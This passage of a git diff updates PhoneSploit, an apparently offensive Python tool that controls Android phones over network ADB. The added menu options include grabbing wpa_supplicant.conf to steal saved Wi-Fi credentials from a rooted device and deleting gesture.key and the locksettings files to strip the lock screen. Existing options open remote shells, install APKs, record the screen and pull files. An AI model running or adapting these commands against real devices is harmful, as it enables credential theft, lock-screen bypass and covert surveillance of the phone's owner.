(L)inux: ") +# open(CurrentDir+"\\install\\coloring.txt", "w").close() +# if platform_choice.lower() == 'w': +# coloring_file.write("true") +# else: +# coloring_file.write("false") +# yn = raw_input(Fore.WHITE + "Have you already installed adb via command line "+Fore.GREEN + "Y"+Fore.WHITE+"/"+Fore.RED+"N "+Fore.WHITE) +# if yn == "n": +# os.system("sudo apt install adb") +# else: +# main() #============================= # Graphics # http://patorjk.com/software/taag/#p=display&f=Graffiti&t=Type%20Something%20 arrow = Fore.RED + " └──>".decode("utf-8") + Fore.WHITE connect = Fore.RED + "│".decode("utf-8") + Fore.WHITE +page2 = False logo_design_1 = (''' {0} ____ __ _____ __ _ __ / __ \/ /_ ____ ____ ___ / ___/____ / /___ (_) /_ - / /_/ / __ \/ __ \/ __ \/ _ \\__ \/ __ \/ / __ \/ / __/ + / /_/ / __ \/ __ \/ __ \/ _ \\__ \/ __ \ / / __ \/ / __/ {1} / ____/ / / / /_/ / / / / __/__/ / /_/ / / /_/ / / /_ /_/ /_/ /_/\____/_/ /_/\___/____/ .___/_/\____/_/\__/ /_/''').format(Fore.GREEN, Fore.WHITE, Fore.RED) @@ -91,60 +94,124 @@ def ColoringModeStartup(): MMMMo oMMMM oNMm- -mMNs''' -message = '''\n -{0}[{1}1{0}] {2}Show Connected Devices {0}[{1}6{0}] {2}Screen record a phone {0}[{1}11{0}] {2}Uninstall an app {0}[{1}16{0}]{2} Port Forwarding -{0}[{1}2{0}] {2}Disconect all devices {0}[{1}7{0}] {2}Screen Shot a picture on a phone {0}[{1}12{0}] {2}Show real time log of device -{0}[{1}3{0}] {2}Connect a new phone {0}[{1}8{0}] {2}Restart Server {0}[{1}13{0}] {2}Dump System Info -{0}[{1}4{0}] {2}Access Shell on a phone {0}[{1}9{0}] {2}Pull folders from phone to pc {0}[{1}14{0}] {2}List all apps on a phone -{0}[{1}5{0}] {2}Install an apk on a phone {0}[{1}10{0}] {2}Turn The Device off {0}[{1}15{0}] {2}Run an app +logo_design_5 = ''' + {0}______ {1}__ __ ______ __ __ ______ {0}______ {1}______ __ ______ __ ______ +{0}/\ == \ {1}/\ \_\ \ /\ __ \ /\ "-.\ \ /\ ___\ {0}/\ ___\ {1}/\ == \ /\ \ /\ __ \ /\ \ /\__ _\ +{0}\ \ _-/ {1}\ \ __ \ \ \ \/\ \ \ \ \-. \ \ \ __\ {0}\ \___ \ {1}\ \ _-/ \ \ \____ \ \ \/\ \ \ \ \ \/_/\ \/ + {0}\ \_\ {1}\ \_\ \_\ \ \_____\ \ \_\\"\_\ \ \_____\ {0}\/\_____\ {1}\ \_\ \ \_____\ \ \_____\ \ \_\ \ \_\ + {0}\/_/ {1}\/_/\/_/ \/_____/ \/_/ \/_/ \/_____/ {0}\/_____/ {1}\/_/ \/_____/ \/_____/ \/_/ \/_/ +'''.format(Fore.WHITE, Fore.GREEN) + +logo_design_6 = Fore.RED + ''' + ,____ + |---.\\ + ___ | ` PHONESPLOIT + / .-\ ./=) + | |"|_/\/| + ; |-;| /_| REAP THE REWARDS + / \_| |/ \ | + / \/\( | + | / |` ) | + / \ _/ | + /--._/ \ | + `/|) | / + / | | + .' | | + / \ | + (_.-.__.__./ / +''' -{0}[{1}99{0}] {2}Exit {0}[{1}0{0}] {2}Clear +logo_design_7 = Fore.GREEN + ''' + .o oOOOOOOOo OOOo + Ob.OOOOOOOo OOOo. oOOo. .adOOOOOOO + OboO"""""""""""".OOo. .oOOOOOo. OOOo.oOOOOOo.."""""""""'OO + OOP.oOOOOOOOOOOO "POOOOOOOOOOOo. `"OOOOOOOOOP,OOOOOOOOOOOB' + `O'OOOO' `OOOOo"OOOOOOOOOOO` .adOOOOOOOOO"oOOO' `OOOOo + .OOOO' `OOOOOOOOOOOOOOOOOOOOOOOOOO' `OO + OOOOO '"OOOOOOOOOOOOOOOO"` oOO + oOOOOOba. .adOOOOOOOOOOba .adOOOOo. + oOOOOOOOOOOOOOba. .adOOOOOOOOOO@^OOOOOOOba. .adOOOOOOOOOOOO + OOOOOOOOOOOOOOOOO.OOOOOOOOOOOOOO"` '"OOOOOOOOOOOOO.OOOOOOOOOOOOOO + "OOOO" "YOoOOOOMOIONODOO"` . '"OOROAOPOEOOOoOY" "OOO" + Y 'OOOOOOOOOOOOOO: .oOOo. :OOOOOOOOOOO?' :` + : .oO%OOOOOOOOOOo.OOOOOO.oOOOOOOOOOOOO? . + . oOOP"%OOOOOOOOoOOOOOOO?oOOOOO?OOOO"OOo + '%o OOOO"%OOOO%"%OOOOO"OOOOOO"OOO': + `$" `OOOO' `O"Y ' `OOOO' o . + . . OP" : o . + +''' + +page_1 = '''\n +{0}[{1}1{0}] {2}Show Connected Devices {0}[{1}6{0}] {2}Screen record a phone {0}[{1}11{0}] {2}Uninstall an app +{0}[{1}2{0}] {2}Disconect all devices {0}[{1}7{0}] {2}Screen Shot a picture on a phone {0}[{1}12{0}] {2}Show real time log of device +{0}[{1}3{0}] {2}Connect a new phone {0}[{1}8{0}] {2}Restart Server {0}[{1}13{0}] {2}Dump System Info +{0}[{1}4{0}] {2}Access Shell on a phone {0}[{1}9{0}] {2}Pull folders from phone to pc {0}[{1}14{0}] {2}List all apps on a phone +{0}[{1}5{0}] {2}Install an apk on a phone {0}[{1}10{0}] {2}Turn The Device off {0}[{1}15{0}] {2}Run an app + + +{0}[{1}99{0}] {2}Exit {0}[{1}0{0}] {2}Clear {0}[{1}p{0}] Next Page v1.2 '''.format(Fore.CYAN, Fore.RED, Fore.GREEN) + +page_2 = '''\n +{0}[{1}16{0}]{2} Port Forwarding {0}[{1}21{0}]{2} NetStat +{0}[{1}17{0}]{2} Grab wpa_supplicant {0}[{1}22{0}]{2} Turn WiFi On/Off +{0}[{1}18{0}]{2} Show Mac/Inet {0}[{1}23{0}]{2} Remove Password +{0}[{1}19{0}]{2} Extract apk from app {0}[{1}24{0}]{2} Use Keycode +{0}[{1}20{0}]{2} Get Battery Status {0}[{1}25{0}]{2} Get Current Activity + + +{0}[{1}99{0}] {2}Exit {0}[{1}0{0}] {2}Clear {0}[{1}b{0}] Back to page one +'''.format(Fore.CYAN, Fore.RED, Fore.GREEN) + + #============================= #Main def main(): + page_num = 1 option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ") if option == '1': os.system("adb devices -l") elif option == '2': os.system("adb disconnect") elif option == '3': - print ("\n[{0}+{1}] Enter a phones ip address.").format(Fore.RED, Fore.WHITE) + os.system("adb tcpip 5555") + print (("\n[{0}+{1}] Enter a phones ip address.").format(Fore.RED, Fore.WHITE)) ip = raw_input (arrow+" phonesploit"+Fore.RED + "(connect_phone) "+Fore.WHITE + "> ") os.system("adb connect "+ip+":5555") elif option == '4': - print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) + print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE)) device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(shell_on_phone) "+Fore.WHITE + "> ") os.system("adb -s "+device_name+" shell") elif option == '5': - print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) + print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE)) device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(apk_install) "+Fore.WHITE + "> ") - print (" "+connect) - print (" [{0}+{1}]Enter the apk location.").format(Fore.RED, Fore.WHITE) + print ((" "+connect)) + print ((" [{0}+{1}]Enter the apk location.").format(Fore.RED, Fore.WHITE)) apk_location = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(apk_install) "+Fore.WHITE + "> ") os.system("adb -s "+device_name+" install "+apk_location) print (Fore.GREEN + "Apk has been installed.") elif option == '6': - print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) + print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE)) device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(screen_record) "+Fore.WHITE + "> ") - print (" "+connect) - print (" [{0}+{1}] Please wait 3m its recording").format(Fore.RED, Fore.WHITE) - print (" "+connect) + print ((" "+connect)) + print ((" [{0}+{1}] Please wait 3m its recording").format(Fore.RED, Fore.WHITE)) + print ((" "+connect)) os.system("adb -s "+device_name+" shell screenrecord /sdcard/demo.mp4") - print (" [{0}+{1}]Enter where you would like the video to be saved.").format(Fore.RED, Fore.WHITE) + print ((" [{0}+{1}]Enter where you would like the video to be saved.").format(Fore.RED, Fore.WHITE)) place_location = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(screen_record) "+Fore.WHITE + "> ") os.system("adb -s "+device_name+" pull /sdcard/demo.mp4 "+place_location) elif option == '7': - print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) + print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE)) device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(screenshot) "+Fore.WHITE + "> ") os.system("adb -s "+device_name+" shell screencap /sdcard/screen.png") - print(" "+connect) - print (" [{0}+{1}]Enter where you would like the screenshot to be saved.").format(Fore.RED, Fore.WHITE) + print ((" "+connect)) + print ((" [{0}+{1}]Enter where you would like the screenshot to be saved.").format(Fore.RED, Fore.WHITE)) place_location = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(screenshot) "+Fore.WHITE + "> ") os.system("adb -s "+device_name+" pull /sdcard/screen.png "+place_location) @@ -152,70 +219,259 @@ def main(): os.system("adb kill-server && adb start-server") elif option == '9': - print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) + print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE)) device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(file_pull) "+Fore.WHITE + "> ") - print(" "+connect) - print (" [{0}+{1}]Enter a file location on a device").format(Fore.RED, Fore.WHITE) + print ((" "+connect)) + print ((" [{0}+{1}]Enter a file location on a device").format(Fore.RED, Fore.WHITE)) file_location = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(file_pull) "+Fore.WHITE + "> ") - print(" "+connect) - print (" [{0}+{1}]Enter where you would like the file to be saved.").format(Fore.RED, Fore.WHITE) + print ((" "+connect)) + print ((" [{0}+{1}]Enter where you would like the file to be saved.").format(Fore.RED, Fore.WHITE)) place_location = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(file_pull) "+Fore.WHITE + "> ") os.system("adb -s "+device_name+" pull "+file_location+" "+place_location) elif option == '10': - print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) + print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE)) device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(device_reboot) "+Fore.WHITE + "> ") os.system("adb -s "+device_name+ " reboot ") elif option == '11': - print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) + print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE)) device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(app_delete) "+Fore.WHITE + "> ") - print(" "+connect) - print (" [{0}+{1}]Enter a package name.").format(Fore.RED, Fore.WHITE) + print ((" "+connect)) + print ((" [{0}+{1}]Enter a package name.").format(Fore.RED, Fore.WHITE)) package_name = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(app_delete) "+Fore.WHITE + "> ") os.system("adb -s "+device_name+" unistall "+package_name) elif option == '12': - print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) + print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE)) device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(log) "+Fore.WHITE + "> ") os.system('adb -s '+device_name+" logcat ") elif option == '13': - print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) + print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE)) device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(sys_info) "+Fore.WHITE + "> ") os.system("adb -s "+device_name+" dumpsys") elif option == '14': - print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) + print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE)) device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(package_manager) "+Fore.WHITE + "> ") os.system("adb -s " +device_name+ " shell pm list packages -f") main() elif option == '15': - print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) + print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE)) device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(app_run) "+Fore.WHITE + "> ") - print(" "+connect) - print (" [{0}+{1}]Enter a package name. They look like this --> com.snapchat.android").format(Fore.RED, Fore.WHITE) + print ((" "+connect)) + print ((" [{0}+{1}]Enter a package name. They look like this --> com.snapchat.android").format(Fore.RED, Fore.WHITE)) package_name = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(app_run) "+Fore.WHITE + "> ") os.system("adb -s "+device_name+" shell monkey -p "+package_name+" -v 500") main() elif option == '16': - print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) + print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE)) device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(port_forward) "+Fore.WHITE + "> ") - print(" "+connect) - print (" [{0}+{1}]Enter a port on the device.").format(Fore.RED, Fore.WHITE) + print ((" "+connect)) + print ((" [{0}+{1}]Enter a port on the device.").format(Fore.RED, Fore.WHITE)) port_device = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(port_forward) "+Fore.WHITE + "> ") - print(" "+connect) - print (" [{0}+{1}]Enter a port to forward it too.").format(Fore.RED, Fore.WHITE) + print ((" "+connect)) + print ((" [{0}+{1}]Enter a port to forward it too.").format(Fore.RED, Fore.WHITE)) forward_port = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(port_forward) "+Fore.WHITE + "> ") os.system("adb -s "+device_name+" forward tcp:"+port_device+" tcp:"+forward_port) - elif option == '0': + elif option == '17': + try: + print (("[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE)) + device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(wpa_grab) "+Fore.WHITE + "> ") + print ((Fore.WHITE + " [{0}+{1}]{1}THE DEVICE NEEDS TO BE ROOTED TO CONTINUE TO EXIT USE CTRL +C").format(Fore.RED, Fore.WHITE)) + print ((" "+connect)) + print ((" [{0}+{1}]Enter where you want the file to be saved.").format(Fore.RED, Fore.WHITE)) + location = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(wpa_grab) "+Fore.WHITE + "> ") + os.system("adb -s "+device_name+" shell "+"su -c 'cp /data/misc/wifi/wpa_supplicant.conf /sdcard/'") + os.system("adb -s "+device_name+" pull /sdcard/wpa_supplicant.conf "+location) + except KeyboardInterrupt: + main() + + elif option == '18': + print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE)) + device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(mac_inet) "+Fore.WHITE + "> ") + os.system("adb -s " +device_name+ " shell ip address show wlan0") + main() + + elif option == '19': + print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE)) + device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(pull_apk) "+Fore.WHITE + "> ") + print ((" "+connect)) + print ((" [{0}+{1}]Enter a package name. They look like this --> com.snapchat.android").format(Fore.RED, Fore.WHITE)) + package_name = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(pull_apk) "+Fore.WHITE + "> ") + os.system("adb -s "+device_name+" shell pm path "+package_name) + print ((" "+connect)) + print ((" [{0}+{1}]Enter The path.looks like this /data/app/com.snapchat.android-qWgDcBiCEvANq6op_NPqeA==/base.apk").format(Fore.RED, Fore.WHITE)) + path = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(pull_apk) "+Fore.WHITE + "> ") + print ((" "+connect)) + print ((" [{0}+{1}]Enter The location to store the apk: ") .format(Fore.RED, Fore.WHITE)) + location = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(pull_apk) "+Fore.WHITE + "> ") + os.system("adb -s " +device_name+" pull "+path+" "+location) + main() + + elif option == '20': + print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE)) + device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(battery) "+Fore.WHITE + "> ") + os.system("adb -s " +device_name+ " shell dumpsys battery") + main() + + elif option == '21': + print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE)) + device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(net_stat) "+Fore.WHITE + "> ") + os.system("adb -s " +device_name+ " shell netstat") + main() + + elif option == '22': + print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE)) + device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(wifi) "+Fore.WHITE + "> ") + print ((" "+connect)) + print ((" [{0}+{1}] To turn wifi back on you need the device to be pluged in.").format(Fore.RED, Fore.WHITE)) + print ((" "+connect)) + on_off = raw_input(Fore.WHITE + " ["+Fore.RED+"+"+Fore.WHITE+"]Would you like the wifi "+Fore.GREEN +"on"+Fore.WHITE +"/"+Fore.RED +"off "+Fore.WHITE) + if on_off == 'off': + command = " shell svc wifi disable" + else: + command = " shell svc wifi enable" + + os.system("adb -s "+device_name+command) + + elif option == '23': + print (("[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE)) + device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(pass_remove) "+Fore.WHITE + "> ") + print ((Fore.WHITE + " [{0}+{1}]{1}THE DEVICE NEEDS TO BE ROOTED TO CONTINUE TO EXIT USE CTRL +C THIS IS ALSO UNTESTED").format(Fore.RED, Fore.WHITE)) + print ((" "+connect)) + print (Fore.RED + "******************TRYING TO REMOVE PASS******************") + os.system("adb -s "+device_name+" shell su 0 'rm /data/system/gesture.key'") + os.system("adb -s "+device_name+" shell su 0 'rm /data/system/locksettings.db'") + os.system("adb -s "+device_name+" shell su 0 'rm /data/system/locksettings.db-wal'") + os.system("adb -s "+device_name+" shell su 0 'rm /data/system/locksettings.db-shm'") + print (Fore.RED + "******************TRYING TO REMOVE PASS******************") + + elif option == '24': + print (("[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE)) + device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(keycode) "+Fore.WHITE + "> ") + print (''' +0 --> "KEYCODE_UNKNOWN" +1 --> "KEYCODE_MENU" +2 --> "KEYCODE_SOFT_RIGHT" +3 --> "KEYCODE_HOME" +4 --> "KEYCODE_BACK" +5 --> "KEYCODE_CALL" +6 --> "KEYCODE_ENDCALL" +7 --> "KEYCODE_0" +8 --> "KEYCODE_1" +9 --> "KEYCODE_2" +10 --> "KEYCODE_3" +11 --> "KEYCODE_4" +12 --> "KEYCODE_5" +13 --> "KEYCODE_6" +14 --> "KEYCODE_7" +15 --> "KEYCODE_8" +16 --> "KEYCODE_9" +17 --> "KEYCODE_STAR" +18 --> "KEYCODE_POUND" +19 --> "KEYCODE_DPAD_UP" +20 --> "KEYCODE_DPAD_DOWN" +21 --> "KEYCODE_DPAD_LEFT" +22 --> "KEYCODE_DPAD_RIGHT" +23 --> "KEYCODE_DPAD_CENTER" +24 --> "KEYCODE_VOLUME_UP" +25 --> "KEYCODE_VOLUME_DOWN" +26 --> "KEYCODE_POWER" +27 --> "KEYCODE_CAMERA" +28 --> "KEYCODE_CLEAR" +29 --> "KEYCODE_A" +30 --> "KEYCODE_B" +31 --> "KEYCODE_C" +32 --> "KEYCODE_D" +33 --> "KEYCODE_E" +34 --> "KEYCODE_F" +35 --> "KEYCODE_G" +36 --> "KEYCODE_H" +37 --> "KEYCODE_I" +38 --> "KEYCODE_J" +39 --> "KEYCODE_K" +40 --> "KEYCODE_L" +41 --> "KEYCODE_M" +42 --> "KEYCODE_N" +43 --> "KEYCODE_O" +44 --> "KEYCODE_P" +45 --> "KEYCODE_Q" +46 --> "KEYCODE_R" +47 --> "KEYCODE_S" +48 --> "KEYCODE_T" +49 --> "KEYCODE_U" +50 --> "KEYCODE_V" +51 --> "KEYCODE_W" +52 --> "KEYCODE_X" +53 --> "KEYCODE_Y" +54 --> "KEYCODE_Z" +55 --> "KEYCODE_COMMA" +56 --> "KEYCODE_PERIOD" +57 --> "KEYCODE_ALT_LEFT" +58 --> "KEYCODE_ALT_RIGHT" +59 --> "KEYCODE_SHIFT_LEFT" +60 --> "KEYCODE_SHIFT_RIGHT" +61 --> "KEYCODE_TAB" +62 --> "KEYCODE_SPACE" +63 --> "KEYCODE_SYM" +64 --> "KEYCODE_EXPLORER" +65 --> "KEYCODE_ENVELOPE" +66 --> "KEYCODE_ENTER" +67 --> "KEYCODE_DEL" +68 --> "KEYCODE_GRAVE" +69 --> "KEYCODE_MINUS" +70 --> "KEYCODE_EQUALS" +71 --> "KEYCODE_LEFT_BRACKET" +72 --> "KEYCODE_RIGHT_BRACKET" +73 --> "KEYCODE_BACKSLASH" +74 --> "KEYCODE_SEMICOLON" +75 --> "KEYCODE_APOSTROPHE" +76 --> "KEYCODE_SLASH" +77 --> "KEYCODE_AT" +78 --> "KEYCODE_NUM" +79 --> "KEYCODE_HEADSETHOOK" +80 --> "KEYCODE_FOCUS" +81 --> "KEYCODE_PLUS" +82 --> "KEYCODE_MENU" +83 --> "KEYCODE_NOTIFICATION" +84 --> "KEYCODE_SEARCH" +85 --> "TAG_LAST_KEYCODE" + ''') + print (("[{0}+{1}]Enter a number.").format(Fore.RED, Fore.WHITE)) + num = raw_input(arrow + "phonesploit"+Fore.RED + "(keycode) "+Fore.WHITE + "> ") + os.system("adb -s "+device_name+" shell input keyevent "+num) + + elif option == '25': + print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE)) + device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(current_activity) "+Fore.WHITE + "> ") + os.system("adb -s " +device_name+ " dumpsys activity") + main() + + elif option == '0': + global page2 + if page2 == True: + clear(page_2) + else: + clear(page_1) + + elif option == 'p': + os.system('cls') + page2 = True + banner_title = random.choice([logo_design_1,logo_design_2,logo_design_3,logo_design_4]) + print (Fore.RED + banner_title) + print (page_2) + + elif option == 'b': os.system('cls') + page2 = False banner_title = random.choice([logo_design_1,logo_design_2,logo_design_3,logo_design_4]) - print Fore.RED + banner_title - print message + print (Fore.RED + banner_title) + print (page_1) elif option == '99': exit() @@ -223,16 +479,29 @@ def main(): main() +#============================= + +def clear(page): + global page2 + os.system('cls') + banner_title = random.choice([logo_design_1,logo_design_2,logo_design_3,logo_design_4,logo_design_5,logo_design_6,logo_design_7]) + print (Fore.RED + banner_title) + print (page) + #============================= # Run -os.chdir(CurrentDir+"//adb") -print (Fore.RED + "Starting adb server..") -os.system("adb tcpip 5555") -t.sleep(4) -os.system('cls') -banner_title = random.choice([logo_design_1,logo_design_2,logo_design_3,logo_design_4]) -print Fore.RED + banner_title -print message -ColoringModeStartup() +try: + init(convert=True) + os.chdir(CurrentDir+"//adb") + print (Fore.RED + "Starting adb server..") + os.system("adb tcpip 5555") + t.sleep(4) + os.system('cls') + banner_title = random.choice([logo_design_1,logo_design_2,logo_design_3,logo_design_4,logo_design_5,logo_design_6,logo_design_7]) + print (Fore.RED + banner_title) + print (page_1) + main() +except KeyboardInterrupt: + main() \ No newline at end of file diff --git a/main_linux.py b/main_linux.py index 2a98ba3..8b14a81 100644 --- a/main_linux.py +++ b/main_linux.py @@ -1,4 +1,4 @@ -# coding: latin-1 +#-*- coding: utf-8 -*- #Coded By Zucccs # Enjoy @@ -7,10 +7,14 @@ #============================= #Imports import os +import sys import random import time as t from colorama import Fore, init +reload(sys) +sys.setdefaultencoding("utf-8") + #============================= # Variables CurrentDir = os.path.dirname(os.path.abspath(__file__)) @@ -42,9 +46,9 @@ #============================= # Graphics # http://patorjk.com/software/taag/#p=display&f=Graffiti&t=Type%20Something%20 -arrow = Fore.RED + ' -->'.encode("utf-8").strip() + Fore.WHITE +arrow = Fore.RED + " └──>".decode("utf-8").strip() + Fore.WHITE arrow = str(arrow) -connect = Fore.RED + '|'.encode("utf-8").strip() + Fore.WHITE +connect = Fore.RED + "│".decode("utf-8").strip() + Fore.WHITE logo_design_1 = (''' {0} ____ __ _____ __ _ __ @@ -91,60 +95,75 @@ MMMMo oMMMM oNMm- -mMNs''' -message = '''\n -{0}[{1}1{0}] {2}Show Connected Devices {0}[{1}6{0}] {2}Screen record a phone {0}[{1}11{0}] {2}Uninstall an app {0}[{1}16{0}]{2} Port Forwarding -{0}[{1}2{0}] {2}Disconect all devices {0}[{1}7{0}] {2}Screen Shot a picture on a phone {0}[{1}12{0}] {2}Show real time log of device -{0}[{1}3{0}] {2}Connect a new phone {0}[{1}8{0}] {2}Restart Server {0}[{1}13{0}] {2}Dump System Info -{0}[{1}4{0}] {2}Access Shell on a phone {0}[{1}9{0}] {2}Pull folders from phone to pc {0}[{1}14{0}] {2}List all apps on a phone -{0}[{1}5{0}] {2}Install an apk on a phone {0}[{1}10{0}] {2}Turn The Device off {0}[{1}15{0}] {2}Run an app +page_1 = '''\n +{0}[{1}1{0}] {2}Show Connected Devices {0}[{1}6{0}] {2}Screen record a phone {0}[{1}11{0}] {2}Uninstall an app +{0}[{1}2{0}] {2}Disconect all devices {0}[{1}7{0}] {2}Screen Shot a picture on a phone {0}[{1}12{0}] {2}Show real time log of device +{0}[{1}3{0}] {2}Connect a new phone {0}[{1}8{0}] {2}Restart Server {0}[{1}13{0}] {2}Dump System Info +{0}[{1}4{0}] {2}Access Shell on a phone {0}[{1}9{0}] {2}Pull folders from phone to pc {0}[{1}14{0}] {2}List all apps on a phone +{0}[{1}5{0}] {2}Install an apk on a phone {0}[{1}10{0}] {2}Turn The Device off {0}[{1}15{0}] {2}Run an app -{0}[{1}99{0}] {2}Exit {0}[{1}0{0}] {2}Clear +{0}[{1}99{0}] {2}Exit {0}[{1}0{0}] {2}Clear {0}[{1}p{0}] Next Page v1.2 '''.format(Fore.CYAN, Fore.RED, Fore.GREEN) + +page_2 = '''\n +{0}[{1}16{0}]{2} Port Forwarding {0}[{1}21{0}]{2} NetStat +{0}[{1}17{0}]{2} Grab wpa_supplicant {0}[{1}22{0}]{2} Turn WiFi On/Off +{0}[{1}18{0}]{2} Show Mac/Inet {0}[{1}23{0}]{2} Remove Password +{0}[{1}19{0}]{2} Extract apk from app {0}[{1}24{0}]{2} Use Keycode +{0}[{1}20{0}]{2} Get Battery Status {0}[{1}25{0}]{2} Get Current Activity + + +{0}[{1}99{0}] {2}Exit {0}[{1}0{0}] {2}Clear {0}[{1}b{0}] Back to page one +'''.format(Fore.CYAN, Fore.RED, Fore.GREEN) + + #============================= #Main def main(): + page_num = 1 option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ") if option == '1': - os.system("adb devices -l") + os.system("adb devices -l") elif option == '2': os.system("adb disconnect") elif option == '3': - print ("\n[{0}+{1}] Enter a phones ip address.").format(Fore.RED, Fore.WHITE) + os.system("adb tcpip 5555") + print (("\n[{0}+{1}] Enter a phones ip address.").format(Fore.RED, Fore.WHITE)) ip = raw_input (arrow+" phonesploit"+Fore.RED + "(connect_phone) "+Fore.WHITE + "> ") os.system("adb connect "+ip+":5555") elif option == '4': - print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) + print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE)) device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(shell_on_phone) "+Fore.WHITE + "> ") os.system("adb -s "+device_name+" shell") elif option == '5': - print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) + print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE)) device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(apk_install) "+Fore.WHITE + "> ") - print (" "+connect) - print (" [{0}+{1}]Enter the apk location.").format(Fore.RED, Fore.WHITE) + print ((" "+connect)) + print ((" [{0}+{1}]Enter the apk location.").format(Fore.RED, Fore.WHITE)) apk_location = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(apk_install) "+Fore.WHITE + "> ") os.system("adb -s "+device_name+" install "+apk_location) print (Fore.GREEN + "Apk has been installed.") elif option == '6': - print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) + print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE)) device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(screen_record) "+Fore.WHITE + "> ") - print (" "+connect) - print (" [{0}+{1}] Please wait 3m its recording").format(Fore.RED, Fore.WHITE) - print (" "+connect) + print ((" "+connect)) + print ((" [{0}+{1}] Please wait 3m its recording").format(Fore.RED, Fore.WHITE)) + print ((" "+connect)) os.system("adb -s "+device_name+" shell screenrecord /sdcard/demo.mp4") - print (" [{0}+{1}]Enter where you would like the video to be saved.").format(Fore.RED, Fore.WHITE) + print ((" [{0}+{1}]Enter where you would like the video to be saved.").format(Fore.RED, Fore.WHITE)) place_location = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(screen_record) "+Fore.WHITE + "> ") os.system("adb -s "+device_name+" pull /sdcard/demo.mp4 "+place_location) elif option == '7': - print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) + print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE)) device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(screenshot) "+Fore.WHITE + "> ") os.system("adb -s "+device_name+" shell screencap /sdcard/screen.png") - print(" "+connect) - print (" [{0}+{1}]Enter where you would like 